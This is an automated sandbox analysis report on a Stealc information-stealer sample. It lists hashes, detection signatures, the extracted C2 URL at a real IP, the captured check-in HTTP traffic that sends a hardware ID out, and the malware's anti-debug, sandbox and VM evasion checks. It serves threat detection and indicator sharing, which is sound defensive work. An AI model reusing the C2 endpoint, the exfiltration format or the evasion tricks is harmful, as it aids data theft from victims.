Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1523652
MD5:	7c170238c3fdf496e5420134b8f2c1e6
SHA1:	45c78f3c1f17a5cb39fe957ee144b69c6fc81211
SHA256:	33cbd0e0fa5ac49cb28c3f095077c7b82cc6127d78a0024eff5e5d9f3fc12029
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6200 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7C170238C3FDF496E5420134B8F2C1E6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2128195023.0000000005490000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2169132039.000000000196E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6200	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6200	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.ff0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T22:16:04.772466+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.ff0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00FFC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00FF9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00FF7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00FF9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01008EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_01008EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01004910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_01004910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_010038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FFDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01004570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_01004570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00FFE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00FFED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FF16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FFF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FFBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FFDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01003EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_01003EA0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49710 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 39 36 41 31 32 44 31 45 39 45 34 38 37 32 35 36 33 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="hwid"D596A12D1E9E487256326------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="build"doma------KFBGDBFBKKJECBFHDGIE--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FF4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00FF4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 39 36 41 31 32 44 31 45 39 45 34 38 37 32 35 36 33 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="hwid"D596A12D1E9E487256326------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="build"doma------KFBGDBFBKKJECBFHDGIE--

Source: file.exe, 00000000.00000002.2169132039.000000000196E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2169132039.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2169132039.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Zg
Source: file.exe, 00000000.00000002.2169132039.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2169132039.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php7
Source: file.exe, 00000000.00000002.2169132039.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php?
Source: file.exe, 00000000.00000002.2169132039.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpSg
Source: file.exe, 00000000.00000002.2169132039.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.2169132039.000000000196E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37t=

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0124F86C NtOpenThread,

0_2_0124F86C

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013AF178	0_2_013AF178
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994	0_2_013C4994
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013449F6	0_2_013449F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013CD3CC	0_2_013CD3CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C93C3	0_2_013C93C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01492AE8	0_2_01492AE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BDAF0	0_2_013BDAF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C6ACD	0_2_013C6ACD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C85BA	0_2_013C85BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013CADF2	0_2_013CADF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BA46F	0_2_013BA46F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01275F3D	0_2_01275F3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C0F20	0_2_013C0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012EF67F	0_2_012EF67F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0130FE68	0_2_0130FE68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BFE86	0_2_013BFE86

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00FF45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: egzmbzjx ZLIB complexity 0.9948495546589525

Source: file.exe, 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2128195023.0000000005490000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01009600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_01009600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01003720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_01003720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\H6YIDDNH.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 50%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1838080 > 1048576

Source: file.exe

Static PE information: Raw size of egzmbzjx is bigger than: 0x100000 < 0x19a800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ff0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;egzmbzjx:EW;cqfrfmzh:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;egzmbzjx:EW;cqfrfmzh:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01009860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_01009860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c7576 should be: 0x1d08cf

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: egzmbzjx
Source: file.exe	Static PE information: section name: cqfrfmzh
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0146A157 push 4D0B5202h; mov dword ptr [esp], eax	0_2_0146A29C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01493154 push ebx; mov dword ptr [esp], esi	0_2_014931CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01493154 push 709336C0h; mov dword ptr [esp], esp	0_2_0149321F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013AF178 push eax; mov dword ptr [esp], ecx	0_2_013AF18A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013AF178 push ecx; mov dword ptr [esp], eax	0_2_013AF296
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013AF178 push eax; mov dword ptr [esp], edi	0_2_013AF3B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0145210D push 197D5D01h; mov dword ptr [esp], ebp	0_2_01452164
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D9972 push esi; mov dword ptr [esp], eax	0_2_013D99C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D9972 push 3EC1C654h; mov dword ptr [esp], ebp	0_2_013D9A6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013D9972 push ebx; mov dword ptr [esp], 65DE6C6Eh	0_2_013D9AE5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01342964 push 09651C1Dh; mov dword ptr [esp], edi	0_2_013429AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01342964 push eax; mov dword ptr [esp], ebx	0_2_013429B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01400123 push edi; mov dword ptr [esp], 1B55F994h	0_2_01400145
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014C79C6 push 660EB7F4h; mov dword ptr [esp], ebx	0_2_014C7A57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014B71E3 push 5DE817ECh; mov dword ptr [esp], ebp	0_2_014B7D59
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push ebp; mov dword ptr [esp], edi	0_2_013C49AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push ebx; mov dword ptr [esp], ebp	0_2_013C49D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push 23FF5AADh; mov dword ptr [esp], edx	0_2_013C4A4D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push 7D599704h; mov dword ptr [esp], ecx	0_2_013C4A5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push ebp; mov dword ptr [esp], edx	0_2_013C4A76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push 67B6FF43h; mov dword ptr [esp], ebx	0_2_013C4A84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push 15D74D4Fh; mov dword ptr [esp], edx	0_2_013C4B0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push 081B7752h; mov dword ptr [esp], ecx	0_2_013C4B32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push edx; mov dword ptr [esp], ecx	0_2_013C4B39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push 0CA1FD9Ah; mov dword ptr [esp], eax	0_2_013C4BB6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push 0843A9B3h; mov dword ptr [esp], esi	0_2_013C4BC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push ecx; mov dword ptr [esp], edi	0_2_013C4BCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push ecx; mov dword ptr [esp], 5ECC1381h	0_2_013C4C37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push edx; mov dword ptr [esp], ebp	0_2_013C4CCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push ebx; mov dword ptr [esp], eax	0_2_013C4D79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4994 push eax; mov dword ptr [esp], ebx	0_2_013C4D9B

Source: file.exe

Static PE information: section name: egzmbzjx entropy: 7.953232696533616

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_01009860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13375

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D26FC second address: 13D2702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2702 second address: 13D2708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D17EF second address: 13D17F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D17F8 second address: 13D17FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1AEE second address: 13D1AFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F8F347F9F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D1AFA second address: 13D1AFF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2076 second address: 13D2080 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F347F9F16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D4643 second address: 13D469F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F34B47B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8F34B47B64h 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jne 00007F8F34B47B70h 0x0000001a mov eax, dword ptr [eax] 0x0000001c push ebx 0x0000001d push edx 0x0000001e jnl 00007F8F34B47B56h 0x00000024 pop edx 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d je 00007F8F34B47B56h 0x00000033 rdtsc
